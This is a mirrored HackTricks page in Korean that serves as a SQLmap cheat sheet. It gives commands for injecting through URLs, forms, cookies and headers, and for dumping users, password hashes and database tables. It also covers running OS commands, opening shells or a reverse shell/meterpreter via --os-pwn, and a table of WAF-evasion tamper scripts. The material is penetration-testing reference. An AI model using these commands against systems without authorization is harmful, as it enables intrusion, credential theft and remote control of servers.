mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
166 lines
12 KiB
Markdown
166 lines
12 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
# SQLmap의 기본 인수
|
|
|
|
## 일반
|
|
```bash
|
|
-u "<URL>"
|
|
-p "<PARAM TO TEST>"
|
|
--user-agent=SQLMAP
|
|
--random-agent
|
|
--threads=10
|
|
--risk=3 #MAX
|
|
--level=5 #MAX
|
|
--dbms="<KNOWN DB TECH>"
|
|
--os="<OS>"
|
|
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
|
|
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
|
|
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
|
|
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
|
|
--proxy=PROXY
|
|
```
|
|
## 정보 검색
|
|
|
|
### 내부
|
|
```bash
|
|
--current-user #Get current user
|
|
--is-dba #Check if current user is Admin
|
|
--hostname #Get hostname
|
|
--users #Get usernames od DB
|
|
--passwords #Get passwords of users in DB
|
|
```
|
|
### DB 데이터
|
|
```bash
|
|
--all #Retrieve everything
|
|
--dump #Dump DBMS database table entries
|
|
--dbs #Names of the available databases
|
|
--tables #Tables of a database ( -D <DB NAME> )
|
|
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
|
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
|
```
|
|
# Injection place
|
|
|
|
## From Burp/ZAP capture
|
|
|
|
요청을 캡처하고 req.txt 파일을 생성합니다.
|
|
```bash
|
|
sqlmap -r req.txt --current-user
|
|
```
|
|
## GET 요청 주입
|
|
```bash
|
|
sqlmap -u "http://example.com/?id=1" -p id
|
|
sqlmap -u "http://example.com/?id=*" -p id
|
|
```
|
|
## POST 요청 주입
|
|
```bash
|
|
sqlmap -u "http://example.com" --data "username=*&password=*"
|
|
```
|
|
## 헤더 및 기타 HTTP 메서드에서의 인젝션
|
|
```bash
|
|
#Inside cookie
|
|
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
|
|
|
#Inside some header
|
|
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
|
|
sqlmap -u "http://example.com" --headers="referer:*"
|
|
|
|
#PUT Method
|
|
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|
|
|
#The injection is located at the '*'
|
|
```
|
|
## 2차 주입
|
|
```bash
|
|
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
|
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
|
```
|
|
## 셸
|
|
```bash
|
|
#Exec command
|
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
|
|
|
#Simple Shell
|
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
|
|
|
#Dropping a reverse-shell / meterpreter
|
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
|
```
|
|
## SQLmap로 웹사이트 크롤링 및 자동 익스플로잇
|
|
```bash
|
|
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
|
|
|
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
|
|
--crawl = how deep you want to crawl a site
|
|
--forms = Parse and test forms
|
|
```
|
|
# 주입 사용자 정의
|
|
|
|
## 접미사 설정
|
|
```bash
|
|
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
|
```
|
|
## 접두사
|
|
```bash
|
|
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
|
```
|
|
## 부울 주입 찾기
|
|
```bash
|
|
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
|
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
|
```
|
|
## 변조
|
|
```bash
|
|
--tamper=name_of_the_tamper
|
|
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
|
```
|
|
| Tamper | Description |
|
|
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
|
| apostrophemask.py | 아포스트로피 문자를 UTF-8 전체 폭 대응 문자로 대체합니다. |
|
|
| apostrophenullencode.py | 아포스트로피 문자를 불법적인 이중 유니코드 대응 문자로 대체합니다. |
|
|
| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. |
|
|
| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. |
|
|
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. |
|
|
| bluecoat.py | SQL 문장 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
|
|
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
|
|
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
|
|
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
|
|
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
|
|
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
|
|
| charunicodeencode.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "%u0022" |
|
|
| charunicodeescape.py | 주어진 페이로드의 비인코딩 문자를 유니코드 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). "\u0022" |
|
|
| equaltolike.py | '=' 연산자의 모든 발생을 'LIKE' 연산자로 대체합니다. |
|
|
| escapequotes.py | 슬래시로 인용부호('와 ")를 이스케이프합니다. |
|
|
| greatest.py | '>' 연산자를 'GREATEST' 대응 문자로 대체합니다. |
|
|
| halfversionedmorekeywords.py | 각 키워드 앞에 버전이 있는 MySQL 주석을 추가합니다. |
|
|
| ifnull2ifisnull.py | 'IFNULL(A, B)'와 같은 인스턴스를 'IF(ISNULL(A), B, A)'로 대체합니다. |
|
|
| modsecurityversioned.py | 전체 쿼리를 버전이 있는 주석으로 감쌉니다. |
|
|
| modsecurityzeroversioned.py | 전체 쿼리를 제로 버전 주석으로 감쌉니다. |
|
|
| multiplespaces.py | SQL 키워드 주위에 여러 개의 공백을 추가합니다. |
|
|
| nonrecursivereplacement.py | 미리 정의된 SQL 키워드를 대체에 적합한 표현으로 대체합니다(예: .replace("SELECT", "") 필터). |
|
|
| percentage.py | 각 문자 앞에 백분율 기호('%')를 추가합니다. |
|
|
| overlongutf8.py | 주어진 페이로드의 모든 문자를 변환합니다(이미 인코딩된 것은 처리하지 않음). |
|
|
| randomcase.py | 각 키워드 문자를 무작위 대소문자 값으로 대체합니다. |
|
|
| randomcomments.py | SQL 키워드에 무작위 주석을 추가합니다. |
|
|
| securesphere.py | 특별히 제작된 문자열을 추가합니다. |
|
|
| sp_password.py | 페이로드 끝에 'sp_password'를 추가하여 DBMS 로그에서 자동으로 난독화합니다. |
|
|
| space2comment.py | 공백 문자(' ')를 주석으로 대체합니다. |
|
|
| space2dash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
|
| space2hash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
|
| space2morehash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 무작위 문자열과 새 줄('\n')을 추가합니다. |
|
|
| space2mssqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
|
| space2mssqlhash.py | 공백 문자(' ')를 파운드 문자('#')로 대체하고 새 줄('\n')을 추가합니다. |
|
|
| space2mysqlblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
|
| space2mysqldash.py | 공백 문자(' ')를 대시 주석('--')으로 대체하고 새 줄('\n')을 추가합니다. |
|
|
| space2plus.py | 공백 문자(' ')를 더하기 기호('+')로 대체합니다. |
|
|
| space2randomblank.py | 공백 문자(' ')를 유효한 대체 문자 집합에서 무작위 공백 문자로 대체합니다. |
|
|
| symboliclogical.py | AND 및 OR 논리 연산자를 그들의 기호 대응 문자로 대체합니다(&& 및 |
|
|
| unionalltounion.py | UNION ALL SELECT를 UNION SELECT로 대체합니다. |
|
|
| unmagicquotes.py | 인용 문자(')를 다중 바이트 조합 %bf%27로 대체하고 끝에 일반 주석을 추가합니다(작동하게 하기 위해). |
|
|
| uppercase.py | 각 키워드 문자를 대문자 값 'INSERT'로 대체합니다. |
|
|
| varnish.py | HTTP 헤더 'X-originating-IP'를 추가합니다. |
|
|
| versionedkeywords.py | 각 비함수 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
|
| versionedmorekeywords.py | 각 키워드를 버전이 있는 MySQL 주석으로 감쌉니다. |
|
|
| xforwardedfor.py | 가짜 HTTP 헤더 'X-Forwarded-For'를 추가합니다. |
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|